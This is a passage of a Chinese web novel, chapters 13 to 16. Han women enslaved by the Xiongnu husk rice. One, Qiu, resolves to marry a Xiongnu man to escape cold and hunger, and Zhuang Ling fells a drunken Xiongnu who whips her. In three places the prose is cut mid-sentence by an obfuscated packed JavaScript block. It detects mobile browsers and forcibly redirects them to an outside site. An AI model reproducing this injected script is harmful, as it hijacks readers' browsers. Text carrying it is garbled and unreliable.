舂着舂着,秋忽然极其不耐,她将手里的木杵放开丢开一旁,木杵砸落地面,咕噜噜滚开,沾了许多灰尘,她怒道:“总是干这些苦力活,什么时候才是个头!” 庄翎停下动作,木杵停留在石臼当中,她看向一旁焦躁不耐的秋。 深秋季节,天气寒凉,两个人都出了一身汗,干活的时候不觉得,此时乍一停手,一阵冷风吹来,汗珠都吹得冰凉,身上像是披了一层冷雨。 庄翎对秋说:“你先找地方坐下来歇歇,我继续在这里舂一会儿。” 粮食还有这么多,也不知道几时弄得完,若是到那个匈奴人说的时间还没有弄完,恐怕不会有什么好果子给她们吃。 庄翎抱住木杵继续舂米。 秋没有找个地方坐下休息,她就站在对面看庄翎干活。 庄翎干这活的时候两手抱着木杵,胳膊总是微微弯曲,上臂和肩膀用力,上身微微向木臼倾斜,一点点冷汗洇湿了她黑色的鬓角。 木杵一下下落下,砸在稻谷上,咚咚作响。 其实看得出来,庄翎也没有多少力气。其实不管是什么样的人,只要干多了力气活,慢慢的都会没有力气。 秋咬住唇,眼睫垂下,眼珠左右晃动,像是在这一瞬间想了许多事情。片刻后,她心里下定了什么决心,猛地抬起头来,对正在干活的庄翎宣布说:“我决定要嫁给伊都。” 闻言,庄翎恍惚一惊,放开手里木杵,看向秋,问道:“你要嫁给伊都?” 什么话说过一次,再重复起来也就没那么难了,秋看着庄翎的眼睛说:“是,我要嫁给伊都。” “前两天,伊都说他喜欢我,想要娶我为妻,问我愿不愿意。我本来不是十分情愿,虽然他对我很好……对我和气,会请我吃肉,愿意给我买衣服穿,真心愿意娶我……” “伊都告诉我说,我们都是匈奴大单于的奴隶,如果我愿意嫁给他,他愿意花一笔钱将我赎出来。哪怕我是一个汉人,只要我嫁给了他,以后就可以安心做他的妻子。” “我告诉他,我要好好考虑一下,要回去和姐姐商量。有好几次,我想和姐姐聊一聊这件事,但都没有合适的时机。” “从前,我没有立刻答应伊都,但我内心是有点愿意的,尽管还有一些犹豫。” 庄翎一直看着秋的双眼,秋目光决然,像是已经下定了决心,这双决然的眼睛就这么直直看着自己。她已经在秋的说话声中平静下来了,这会儿听见秋说完,深深地缓慢地呼吸了一口气,对秋说道:“秋,你累了。先不要想这么多,去一旁坐下歇息一会吧,今天的活我来做就好。” 秋摇摇头,说道:“不只是今天,以后我也不想再做这些活了。” 只要是匈奴人的奴隶,就不可能不做这些活,庄翎就算尽力,也只能是帮秋分担一部分而已,不可能让秋直接从这些劳役中解放,她做不到。 但这也不意味着庄翎认可秋嫁给伊都这件事,她看着秋,见她已经下定了决心,想了想,对秋说道:“可是,你有没有想过,如果你嫁给了一个匈奴人,以后也就变成了一个匈奴人。” 14. 第 14 章 秋本来一直在与庄翎对视,但在庄翎说完刚才那句话之后,她却下意识移开视线。 庄翎站在石臼旁边,看着侧头不语的秋,因她略低着头,庄翎看不清秋表情,只能看见她的眼睫时而微微眨动。 不知道现在的秋在想什么,庄翎默默等秋说话。 沉默之中像是过了好久,压抑的气氛之中风声都沉寂了,忽然之间,秋自顾自说道:“自从被匈奴人抓来,我没有吃过一顿饱饭。每天都在干活!背草、挑羊毛、洗毡、打柴……现在又要来舂米……” “每天都是早出晚归,在遇到伊都之前,我没有歇息过一个半天。每次干完活背好痛腿也好疼,匈奴人安排我们住的毡帐那么破,风从四面八方灌进来,却没有床褥,只能睡在地上的干草上,这些草还时不时有人来偷,姐姐,我好累!我好冷!” 说着说着,秋的眼泪成串落下,有的打湿衣襟,有的落在地面。庄翎看在眼里,想到秋也不过才十几岁,假如在现代大约也还在读书,但想到秋就要嫁给匈奴人,终究也是站在原地看着这一幕。 这些日子以来,来到匈奴的汉人都干了很多活、吃了很多苦,大家也承受了很多侮辱和伤害,这所有的一切都很煎熬。庄翎能理解秋为什么想要嫁给伊都,也许人困难的时候总会想要有个依靠,这是逃避。 但也还有一种痛苦,深深埋于心底,又时刻折磨大家,这是汉人去国离家的痛苦。 秋又道:“我在家里虽然也干活,但从来没有做过这么多的活,我再也不想干活了……”说着说着,她抬起袖子用力擦了两把眼泪,抬起一双泪眼看向庄翎,说道:“姐姐,你忘记了过去,所以你也忘记了关外隆冬的寒冷。你不知道,雁门关有多冷,往北只会越来越冷,尤其是匈奴人的领地,这里四野平阔,没有高山阻隔、没有大一些的树林遮蔽,匈奴人的部落不设城墙守护。暴风雪来了只会畅通无阻,从北刮到南,从东刮到西。到那时候,冰雪漫天,席卷一切,我们这些被他们抓来的奴隶也将单衣暴露于风雪之中。” “只在那一个破破烂烂的毡房里,我们所有人都会在这个冬天被活活冻死。” 庄翎一直看着秋,她有些意外,并没有想到秋已经考虑到了这里。 北方国度的人天生对冬季的冰雪有种虔诚的敬畏,秋天是极为短暂的,在这里秋季并不是一个独立存在的季节,大多数时候它只是严冬到来之前的那声敲门声。从秋天来到,北方的人们就知道冬天就要来了,马上就要来了。 于是一切都变得刻不容缓起来,农民抢收地里的粮食,牧民抓紧时间囤积草料,谁家墙壁屋顶坏了也要在冬天之前修好,家里的人有闲暇还要准备一些过冬的棉衣和腌菜…… 对匈奴人来说,汉人也是一种过冬的物资。 秋说着说着,眼睛泪光未曾消失,却笑了起来,她说:“从我记事开始,每一年匈奴人都回去边境劫掠奴隶,这些人到了匈奴就没日没夜地为他们干活,冬天一来,这些人就死了个七七八八。” “他们回不去汉朝,亲人也渐渐忘记了他们,来到匈奴,人们过着这样猪狗不如的日子,却连活着的机会也没有,到死也吃不到一顿饱饭。” “就算侥幸活下去,下一年也不过还是重复这个过程,多做一年的奴隶,再度过一个冬天,再经受一次生与死的考验。” “我还这么年轻,我不要死,不要过这种生活。我要睡在有被褥的床上,我要每天都吃得饱饱的,我还要穿好多好多漂亮的衣服!……” 秋目光憧憬,兴致很高,站在庄翎对面,说个没完。 “秋”,庄翎忽然打断她,指了指石臼里的稻米,问道:“你想吃稻米吗?” 秋愣了一下,不预料庄翎忽然问起这个问题,好像多少有些风马牛不相及了。她看了看石臼里的稻米,里面的米舂了一半,稻壳混着半脱壳的米同在臼中。 连看好几眼,秋说道:“自从来了匈奴,我再没吃过米粮,当然是想吃。” 庄翎从石臼中抓了一把米,一只手拿着米,另一只手在下面伸掌接着,上方抓着米的的手微微松开,米与糠一同落下,淡黄色米糠被风扬起吹走,沉重一些的大米落在下方掌心,或是半脱壳,或是完全脱壳。 盛着米的掌心向前伸了伸,展示给秋看,米壳是金色的,显露出来的米饱满剔透,泛着一层珠光。 在现在的朝代,精加工的大米很少,也很贵重,若是平民食米,这样的糙米也可以日常拿来煮饭了。 庄翎从中拿了几粒生米放在嘴巴里一下一下咀嚼,嚼着嚼着,她咽下去,对秋说:“你也吃。” 秋见庄翎似是吃的很香,也不费什么力气,觉得诧异,到底许久没吃过正经米饭,想着炒过的米可以吃,未曾炒过的米未必不能吃。而且庄翎都能吃,她应该也可以吃,就从庄翎手中捡了几粒脱壳米放入口中。 才咬了一口,就皱起眉头来,也太硬了,硌得牙酸,她奇怪地看向一脸平静嚼咽大米的庄翎。 庄翎在秋的注视中将嘴里的米嚼吧嚼吧,咽入腹中。 见秋不继续吃,她看看伸在两人之间掌心的米粮,说道:“多好的米,不多吃些吗?” 秋仍是不解,看庄翎举止异于常人,想她莫不是忽然发了疯,只小心摇了摇头。 庄翎便将二人之间盛着米的手掌收回到面前,她低头看掌心里的米,秋阳之下,米粒珠光甚是明亮。俄顷,她有些难过地笑了笑,说道:“我不记得自己是否耕种过米粮,但曾经听人说过,田间粮食产量极低,一亩地不过产很少一点米,许有这样两袋米?” 秋说:“我母亲说,一亩地出三石米,大约将将装满这样一个麻袋。” 庄翎点点头,道:“那比我想的还要少一些”,也是万万比不得现代一亩地几百上千斤的产量,她心里对民生不易的感受更深了一些,继续说道:“曾经听老人说过,凡是米粮,一粒一粒都是农夫的辛苦,北地苦寒,水渠不十分多,浇灌看天色,这些粮食来得尤为不易。” 这些话说的都没有错,秋也认为是对的,但她却有些疑惑,为庄翎将这一把米抓在手心,忽然说出这样一番话。 心里总觉得庄翎不是一个会很同情匈奴人的人。虽然从未见她表达过对匈奴人的厌恶和仇视,但是秋看着此时此刻的庄翎,却很清晰地萌生出这个念头,也因此越发觉得庄翎这会儿说话行为古怪,她并没有立刻说什么,只保守地抿了抿唇。 庄翎看对面的秋,见她站在原地,双手束在身侧,一会儿看看自己,一会儿看看自己手中的稻米,颇有些疑惑不安。 她又看向手中米,脸上那么一点笑意也消失的无影无踪,说道:“匈奴人一向以游牧为业,他们人热衷骑射,不擅长耕种。秋,你也说过,匈奴人每年秋天到汉朝掳掠的奴隶大半死在冬天,而他们春夏忙于迁徙,很少到汉朝掳掠,匈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17507599|202393||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奴人逐水草而行,几时有人有时间耕种?” 秋看着庄翎,躲不开对面询问的目光,简直无处可逃,她支支吾吾。 庄翎也不强要秋回答什么,自己说道:“若这些米粮不是匈奴人耕种得来,难道是他们从汉朝人手里买来的?亦或是他们从汉人手里抢来的?” 一阵秋风吹来,掌心中米壳簌簌而动,秋阳之下,静静卧着的米粒珠光明亮。 秋看着庄翎,显然她不认同自己嫁给一个匈奴人的事情,但庄翎目光中并没有太尖锐的指责,在说完刚刚一番话之后,只是等待自己。 但是……秋也什么都没说,她默默偏过头去,看向一无所有的地面。 两人已经说了一会儿话,而麻袋里的米还没有舂完,庄翎见一时半会儿也没法让秋改变主意,也就暂且先将此事放下,走回石臼旁边,拿过木杵,继续一下下舂起米来。 瞧瞧天色,太阳一点点升高,麻袋里的米减少的速度却很不明显。庄翎有些着急,抱着木杵快速用力杵米,不一会儿,鬓发边缘中又冒出一层细汗。 秋见那袋子里还剩下许多米,心道不知道中午前能不能舂完,若是那个匈奴人回来之前她们还没有舂完,不知道对方会如何。 这般想着,不禁害怕,又有些后悔刚才休息时候和庄翎说自己要嫁给伊都的事情,若不是两个人说这些话,也不至于浪费许多时间。 也连忙拾起地上木杵,来一起舂米,舂着舂着,秋有时看看庄翎面色,见她看起来不是十分生气,微微有些安心。 时间一点点过去…… 日头一点点高升…… 两个人各自抱着木杵,你一下我一下地舂米,木杵咚咚声音如鼓点一般落下。太阳一点点升高,袋子里的米也一点点被消耗,二人一时石臼舂米,时而又去筛米、簸米、灌米,两个人围着身前一个石臼、身后两个米袋来回转圈,时不时弯腰捡起筛子簸箕摇晃颠簸,忙得脚打后脑勺。 总算赶在约定的日中时分舂好了米,时间正正好好,一分不多一分不少。 这时间正好赶在截止时间上,幸好匈奴人没有赶在这个时间回来,两个人大大放开木杵都大大松了口气。 将用过的几样家什都放好在舂好的稻米袋子一旁,因为这里有一袋子新舂的稻米,两个人不敢离开,恐怕万一这袋子米丢失,责任会落在她们头上,哪怕知道再晚回去就赶不上吃汤,也都不敢离开,就在这里等着匈奴人。 不过也都是太累了,二人都没什么力气,也不怎么想要走路。 秋捡起一旁的空麻袋,对庄翎说道:“我找个背风的地方躺一会儿,姐姐你要不要一起?” 庄翎说:“你躺躺吧,我想坐一会儿。” 秋抱着麻袋,铺在一个毡帐前面的空地上,自己蜷缩着身子躺下假寐。 庄翎就在石臼上坐下,她累得难受,反而不想躺着。 不知过了多久,只听见沉重的脚步声渐渐逼近,庄翎猛地一惊,回过头去。 只见清早将米留给她们的高壮胖大的匈奴人正朝她走来,气势十分凶恶,但看这匈奴人一脸蛮肉红透发紫,浑身上下酒气冲人,鼻喷粗气目光凶恶暴躁,两条蒲扇大的长毛手中拉拽着一根皮鞭,庄翎心里立刻拉起十二万分警惕。 匈奴壮汉见庄翎察觉,立刻目似火烧,怒喝道:“两个下贱奴隶,今天没少偷懒吧,大爷我这就给你们好好长长记性!” 15. 第 15 章 匈奴人不等说完,就近大步朝着坐在石臼上庄翎走去,庄翎方才看到这匈奴人是要打人,她哪里会一动不动等在原地,不等人靠近就已经站起身来拖走一旁木杵躲开往另一个方向走去,那匈奴人也追着庄翎跑去。 她一边走一边回身留意身后的匈奴人,只见这匈奴壮汉走路时候身形东倒西歪,看眼神状态依稀是喝醉了。刚刚说什么她们舂米偷懒,分明是来找茬耍酒疯,发泄暴力而已。 手上木杵直径有一个成人手掌那么长,长短将近一人高,虽然是用轻质软木做的,拿在手里也很有几分重量,有些消耗气力。庄翎手上一直没有个武器,拿这东西预备一会儿有必要用来防身,只是东西太沉重有些拖累,见匈奴人跑起来东倒西歪,实在不快,她也放慢速度在前方时而疾走时而慢跑。 庄翎本是在往南跑,这一处空地本是方便挑拣羊毛或是堆积粮食设置的,是一片很大的空地,地上也没有障碍物,现在倒也方便两个人跑,她本往西边跑,但并不正西,一会儿向右往西北跑,一会儿向左往西南跑去,一会儿又往正南去,木杵始终拖在身后,加入匈奴人追上来靠近身后,木杵左右甩动一下,就能绊对方的脚。 匈奴人缀在庄翎身后不停追赶,他喝多了,只要一跑得太快就踉跄,怎么也追不上前面的人影,追了一会儿,心里极其不痛快,大声骂道:“我告诉你们这些汉朝来的奴隶,你们现在是我们匈奴人的奴隶,我们匈奴人就是你们头顶的神明!你应该像服从神一样服从我!我说现在是清晨现在就是清晨,我说现在是夜晚现在就是夜晚!我说你要挨打,你就应该老老实实跪在我面前的地面接受鞭打!而不是像一只发疯的兔子一样乱跑!” 这些狂话庄翎哪里会听?匈奴人说要舂米,也都舂好了,现在也不过是欲加之罪何患无辞。 她往前跑着,仍然是时而西北跑时而往西南跑,时而向正南方向兜圈,叫后面醉晕头的匈奴人跟着不停东转西转,不一会儿就将这人转得头晕脑胀。 这匈奴醉汉醉酒之后反应相当迟缓,庄翎转向,他有时候转向慢,追得偏了,人影不在眼前就要重新去找,不小心碰到木杆脚步还要受阻,真是好生暴躁! 庄翎跑在前面时刻观察着身后匈奴人,却也在担心秋,只是没有时间看秋,她恐怕这人注意到秋,将攻击目标换成秋,又想道:若是秋看见这一幕,趁着匈奴人注意力在自己身上跑走就好了。 这般想着,她将人引向远离秋的方向,匈奴人在身后不远不近,始终碰不到她的衣角,庄翎找机会望了毡帐下睡觉的秋一眼。 秋仍旧躺在白色毡帐前的旧麻袋上,面朝毡帐,背对着中庭,睡得很沉。 今天风有些冷,秋阳却很暖,熟悉的姐姐就在身边,她疲惫之后身心安稳,一下子睡得很沉。 庄翎看见心里着急,却也不敢大声叫她,唯恐也提醒到身后的匈奴人,让他注意到不远处还有一个女孩儿,只好一味引着这人跑,却不敢离开太远。 却说那匈奴人追在庄翎身后,本以为捉到这个汉人小姑娘和逮到一只兔子一般容易,谁知一直被人拖着走,近也近不得,拉也拉不到,有时候想在半空中用鞭子抽人一下,马鞭却没有那么长,鞭梢连人的衣衫都够不到,心里觉得好没意思。 忽然之间,匈奴壮汉左脚踩上右脚,口中“哎吆”一声,就一屁股坐在地上,庞大的身子如一座小山骤然落下在地,惊起一片尘土。 庄翎舂了半天的米,又拖着粗大沉重的木杵跑了好一会儿,东躲西绕,不知不觉额头又出了一层细汗,脸色有些发白,她看匈奴人坐倒不动,也就在不远处停下来,两个人此时相隔不过相隔五六步远。 这人很奇怪,明明摔到的是屁股,却一只手捂着头,脸上露出吃痛头晕的表情。 一个五大三粗披头散发的异族壮汉露出这种表情,十分违和。不过听说有些喝醉酒的人会有一些反常举止,不知道是不是这人现在这种样子? 庄翎谨慎地注视着这一幕,观察这个人是不是装的。 她很想将手里的棍子抽过去试一试,若是这个人真不是装的,就会被打倒,但若不是装的,恐怕自己怕是会落了对方的圈套。 而且……真要在匈奴人的地盘上打死一个匈奴人,恐怕也无法善了。 这般想着,庄翎只能放下这个想法。 她就这么站在原地观察了一会儿匈奴人,见对方迟迟没站起来,更一只手撑住歪斜的脑袋,闭着眼睛打起鼾来,看起来像是睡着了? 又看了几眼,见这人还不动,心想这人不知道什么时候缓过神来,自己不如和秋就趁此时溜走。 偏头望见秋还在熟睡,庄翎想要叫她,但恐怕惊动匈奴人,不敢大声呼唤,稳妥起见,还是过去秋身边说话的好。 不能从匈奴人身边过去找秋,太冒险了,庄翎左右看看,轻手轻脚从另一边绕路去找秋,手的木杵放下来耽搁时间,继续拖在身后声音太响了,恐怕惊动匈奴人,而且庄翎想万一一会儿有什么意外,拿在手里还是有些保险,就两手将其抬在身侧走路,先往南边走一段路,再折向东,远离了匈奴人,再往北边秋所在的毡帐方向折而走去。 庄翎一边放轻脚步往前走,一边留意坐着睡觉的匈奴人的动静,也时不时向前看看秋醒了没有。 秋一直闭着眼睛面朝着毡帐内侧睡觉。 匈奴人闭眼垂头,一直在打鼾,鼾声一声长一声短,十分震耳,偶尔夹杂两声从鼻端喷气的声音,庄翎饶过匈奴人和石臼,向东走了一小段路,折向北边秋所在的毡帐走去。 有惊无险地走了一小段路,匈奴人好像睡得更熟了。 忽然之间,匈奴壮汉身子一歪,浅浅吸了两口气,忽地打出一串雷鸣般响亮的长鼾来,胖大的身躯也往一旁翻倒。庄翎心想,这人睡熟过去才好。 而这匈奴人歪了两歪,却没有倒下,反而渐渐从憋气的不适中苏醒了过来,他睁开眼睛,左右看了看,没看见人影,没有再多搜寻,像是放弃追逐庄翎了,他从地上爬起来,揉了揉自己醉红的大脸,大大地吐了两口口水,目不斜视,径直往北边毡帐所在方向大步走去。 匈奴人看上去不记得自己回来要鞭笞两个汉人奴隶的事情了,仿佛是想要找个地方好好睡一觉。 但是他走的方向却正是秋身后的那个毡帐,在刚刚的小憩之后匈奴人酒意消失大半,现在他的脚步又大又稳又快,一眨眼就走到了毡帐前面。 庄翎吃了一惊。 匈奴人还是不太清醒,没有找到毡帐的门,而是对着毡帐侧面大步走,看起来是把这里当做了毡帐大门,要走进去。 已经走到了毡帐前头,匈奴人脚步被绊了一下,他脚下看去,只见一个汉人奴隶女孩儿躺在毡帐旁边睡觉,匈奴人立刻火冒三丈,手上皮鞭就劈头盖脸向地上女奴抽过去,边抽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17507600|202393||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边骂:“哪里来的小偷?敢来这里撒野!这里面装的可是阏氏吃的粮食,你这下贱的奴隶敢来靠近,看我不好好教训你!” 秋在睡眠中感到一阵灼痛,立刻大叫一声睁开眼睛,又是一鞭子落下,眼看落在脸上,她忙抱住面目,鞭子如雨点一般落下,她翻滚躲避,鞭子都打在她的身上,秋抱着脸不停地打滚哀嚎。 而那匈奴人越打越起劲儿,脸上已经露出冷笑来。 庄翎不知几时停下,她站在不远处看着这一幕,手中的木杵已然又拖在地面。 这人知道仓库里的粮食是阏氏吃的,那么他今天交给她们舂的那袋米大约也是阏氏要吃的。 皮鞭破风声音声声响起。 秋在地上翻滚,她尖叫、哀嚎、求饶。 庄翎盯着匈奴人随着用力舞动皮鞭来回左右活动的后背还有后脑,她深深吸了一口气,抬起木杵来,脚步径直向那匈奴人走去,走到近前,木杵抬高,用力向匈奴人后脑敲下。 她今天一直用双手舂米,又拖着搬着这根粗粗的木杵又跑又走,双手手掌早有些酸麻,身上也是劳作后的无力,举着木杵打人的时候,本来对准的是匈奴人的后脑勺,可偏偏在木杵落下的紧要关头,手滑了一下,木杵一滑一偏,没有如预测一般打到匈奴人的后脑,而是敲到了他肩膀与脖子连接的肩颈交接处。 木头毫不留情砸在人身上上,梆地一声—— 匈奴壮汉立刻昏厥倒地。 庄翎庆幸,还好,人还是倒下了,她扔下了手里的木杵。 秋方才久久不见鞭子落下,她小心借着手臂遮掩向前看去,就见到这一幕,一时之间震惊难言。 庄翎走过去,搀扶着秋站起来,秋因为疼痛颤抖着起身,庄翎问:“还能起来吗?” “可以……”秋看着倒在地上的匈奴人,这人一动不动,看不出来是死是活,她看了又看,说道:“伊都和匈奴人去阴山围猎,还要三天回来,匈奴人不会放过我们的。” 庄翎单手扶着秋一只手臂,看了看地上的匈奴人,也不确定这人是死是活,她也不十分关心,心知这个人死了匈奴人不会放过他们,这人活下来匈奴人还是一样不会放过她们。 不论这个匈奴人能不能活下来,之后又会怎样,已经不是她们能够左右的事情了。 庄翎对秋说道:“假如我们现在就可以畅通无阻走出匈奴部落,秋,你愿不愿意和我一起回去汉朝的土地?” 秋因为这个问题愣了一下,她看向一旁目光冷静的庄翎,见她目光十分认真冷静,对视中,秋呆了呆,回过神来,摇摇头,说道:“匈奴人不会放过我们的。”这么说着,她也顺着庄翎的话想了想,摇摇头,又道:“秋冬的草原上有的是饥饿的老虎和野狼,它们一直在寻找果腹的食物,姐姐,我们没办法穿越草原,老虎和野狼会吃掉我们,我们逃不掉的。” “我不想死在匈奴,最好……对我来说最好就是嫁给伊都。” 秋因为身上的鞭打疼得厉害,她说话时有些发抖,说完,她沉默片刻,像是想到了什么,对庄翎说道:“姐姐,你不要怪我,要怪就怪那个在屯军渔阳的韩将军。” “如果不是他撤掉了渔阳的屯军,匈奴人今年不会抓走如此多的汉人,如果没有这么多的汉人被抓来匈奴,我也不会来到匈奴。” “如果还生活在汉朝,我不会受这么多的苦,也不会嫁给伊都。” 16. 第 16 章 经受过方才一番鞭打,秋即使一直躲避,还是受了很多伤,即使一直被她重点保护的脸颊,也有了一道寸许长的新鲜伤口。衣服不必多说,外衣被皮鞭撕裂出许多道口子,主要集中在肩背和双臂,有的部分甚至毁坏到了里衣,露出一小块肌肤来。 庄翎看见说道:“我们换一下外衣吧,你穿我的外衣,我的里衣是好的。” 秋顺着庄翎目光留意的方向看了看自己衣服,见果然有许多破损,有一块手臂上的鞭痕格外严重,外衣和里衣都破了,只她自己能看见的,上臂一块肌肤露出,旁的地方应该也有类似的暴露,这样的裸露让人有些难堪。 而庄翎的衣服除了下摆经过撕扯有些毛躁,袖口有些飞边,大致还能穿。 若是往常,秋也就和庄翎换衣服了,但是今天,她才说过要嫁给伊都,庄翎还不同意,两个人正在隔阂。 心里也憋着一股劲儿,秋说:“不用换,我就这样穿,过两天伊都回来会给我买新衣服,以后我也会有很多新衣服穿。姐姐的衣服,自己穿在身上吧。” 庄翎看着目光坚持的秋,从秋的眼神可以看得出来,她现在一定要嫁给伊都,也非要这个叫伊都的男人来帮助她不可,她想证明那个男人是有用的,他可以让自己的妻子吃饱穿暖,只要嫁给他,她就有了依靠,她的选择没有错。 “可是你这两天也要过下去。”庄翎这般说,也是这般想。 秋抿抿唇,也有些为难,却说不出什么话来。 庄翎忽然留意到秋不远处皱巴巴的麻袋,正是方才秋睡觉铺在身下躺靠用的,后来在她挣扎之间麻袋皱着堆到了一旁,也无人关心了。她看看秋有数道裂口的衣服,看着麻袋,心里想到主意。 她蹲下身去,将秋方才躺靠的麻袋拽过来,麻袋底部有一个小小的老鼠洞,正好咬在几条麻线经纬上。她一脚踩在麻袋风口,一只手揪住老鼠洞露出的线头中较长些的纬线,用力抽出、抽长,抽到想要的长度在沿着麻线拽断,麻线坚韧拽断,她就从纤维中撕断,如法炮制,一共抽了五六根长麻线出来。 一条麻袋假如不被虫蛀、老鼠咬,能用好些年,这些麻线很结实。 她眼神溜了溜地面,见到一根打在地里的楔子,大约是匈奴人用来固定毡帐的,看起来像是什么果木做的,侧面有一根尖尖的木刺,大约一寸来长,庄翎过去掰下木刺,拿在手里。 将两样东西收在掌心,庄翎说道:“走吧,这人不知道什么时候醒过来,我们寻个地方补一补衣服。” 秋后怕地看了眼晕倒在一旁的匈奴壮汉,捂住衣袖上露出皮肤的破口,慌忙和庄翎一起出去。 二人也没走远,就来到奴隶营侧面,那儿有个不很大的草垛,半包在羊圈里,这对草是给前面羊圈里的羊预备的草料,有时候人们也从这里取一些干草充作床褥垫在身下睡觉,从前庄翎毡帐里睡觉的草被人拿走,也是从这里拿的新草。 两人来草垛旁坐下来,正好避开后院和奴隶营,庄翎让秋在一旁坐下,自己也跪坐在一旁,用木刺和麻线给秋缝合衣服上的裂口。 先将一根麻绳分开两股细线,将有些松散的线在腿上搓一搓,再用木刺在衣服上扎一个小孔,再将麻绳顶在木刺上扎入小孔,手指将线捋出来,这就缝了一针,之后如法炮制,一针一针地缝过去。 秋侧头看庄翎给自己如此耐心又麻烦地缝合衣服,缝上去的针脚还算得上整齐,棕色麻线在自己这件红棕色衣服上也不十分违和,她看了又看,想道:就算是亲姐姐也不过如此了,心里本能有些感动,说道:“没想到你会做针线。” 这又算什么针线呢?庄翎心里压着事情,没说什么,只是低头默默缝衣服。 衣服缝得差不多,最后一道破口也已缝完,庄翎缝过最后一针又往前倒了两针,然后将剩下麻线撕断,衣服上残留线头系成死结,多余一小截线头藏入针脚,她随手将剩下的一长段断线和两根剩下的麻线一起收入衣袖,这也就缝完了。 两人站起身来,庄翎陪秋走回去奴隶营,走到栅栏门口,对秋说道:“我今天也是要去匈奴部落干杂活,你先回去吧。” 说完庄翎向东往匈奴人部落走去,秋犹豫一下,到底也没说什么。 其实这会儿过去已经有些晚了,平常那个匈奴女人说让她中午过去一个时辰再去,这会儿怕是比约定时间又过去差不多半个时辰了。 不知道这次迟到对方会不会发怒,若是发怒是会打自己一顿,还是会先打一顿再让自己滚蛋,还是直接让自己以后别来了。 以她这些日子对匈奴女人的了解,总觉得第三种猜测发生的可能性更高一些。 这个匈奴女人,并没有因为有一个汉人丈夫对汉人更亲昵,仅仅看上去冷漠一些而已。 不一会儿,庄翎也来到了匈奴女人所在的毡帐附近,她如平常一般,站在毡帐外面说道:“我到了,今天有什么活安排我做吗?” 下一刻,毡帐帘子刷地一下从里面拉开,匈奴女人的女儿站在一旁不高兴地说:“你今天来晚了,我阿娘等了你很久!” 匈奴女人说:“娜木朵,让她进来吧。” 娜木朵说道:“你进来吧。” 庄翎顿了顿,低头走入毡帐,只见那匈奴女人坐在胡床上,胡床上面随意放着许多布料,有细布料子、毛毡料子、不同花色的皮毛料子……身边一侧是个吊起来的摇篮,里面躺着一个四五个月大的婴儿,孩子正在睡觉。她另一侧是个针线篮子,她大腿上是一件缝了一半的衣服,她见了庄翎来了,说道:“你会不会做针线?我要给孩子缝几件过冬的衣裳。” 庄翎站住说道:“会缝一点。”她又道:“我有些事情,今天来晚了,这不太好。” 匈奴女人说:“没什么,最近空闲时间有的是,我不是很着急。” 娜木朵搬来一个凳子放在胡床旁边,对母亲说道:“她身上好脏,不许让她坐我们床上。” 匈奴女人有些无奈地说:“娜木朵,去一旁玩羊拐去,别在这儿吵,你弟弟才睡着。” 匈奴女人示意庄翎在胡床旁边的凳子上坐下,庄翎坐下来,对方又交给她一件缝了一条袖子的男童衣服,又将针线推过来,对她说道:“你就先缝这件衣服吧。” 庄翎从篮子里取了针线来,穿针引线,缝衣服一般从衣服翻面下针,她手上的衣服已经是翻面了,将布料裁边对其即可下针,针脚大小比照衣服上从前缝好的那部分即可。 她一针一线缝来,速度不是十分快,也不慢,缝上去的部分针脚均匀,看起来竟然也不错。 匈奴女人看过一眼,也放下心来,继续缝自己手上的衣服。 身边的匈奴女人在低头缝衣服,小女孩儿娜木朵在地上自己打羊拐,摇篮里的孩子在睡觉,这家的男孩儿大约是出去玩了,不在家。 庄翎观察这座毡帐,里面干净整洁,布局称得上温馨,大概是因为养着婴儿,空气里弥漫着淡淡的奶腥气和尿布味。墙上挂着成人男子用的弓箭,但是没有男人的衣袍、帽子,地上也没有男人用的鞋子。 看起来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17507601|202393||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这家男主人很长时间不在家里了。 既然知道有这样一个人,对方真的帮不到自己吗?庄翎有些不甘心。 她想了想,用匈奴话问胡人女人,说道:“我来你家许多次,从未见过你的丈夫,他是出远门了吗?” 匈奴女人意外庄翎忽然说匈奴话,却没露出太惊讶的表情,她已经听清了庄翎说的话,往女儿那边看了一眼,见女儿聚精会神地玩羊拐,她看了看等待中的庄翎,叹了口气,低声对她说道:“我的丈夫是个汉人,他来匈奴娶了我,却想要回去汉朝。今年春天,他离开部落逃往汉朝,在草原上被饿了一个冬天的野狼吃掉了。” “我的哥哥为我带回了他的一只鞋子。” 没想到这么简单就得到了回答,又会得到这样一个答案。 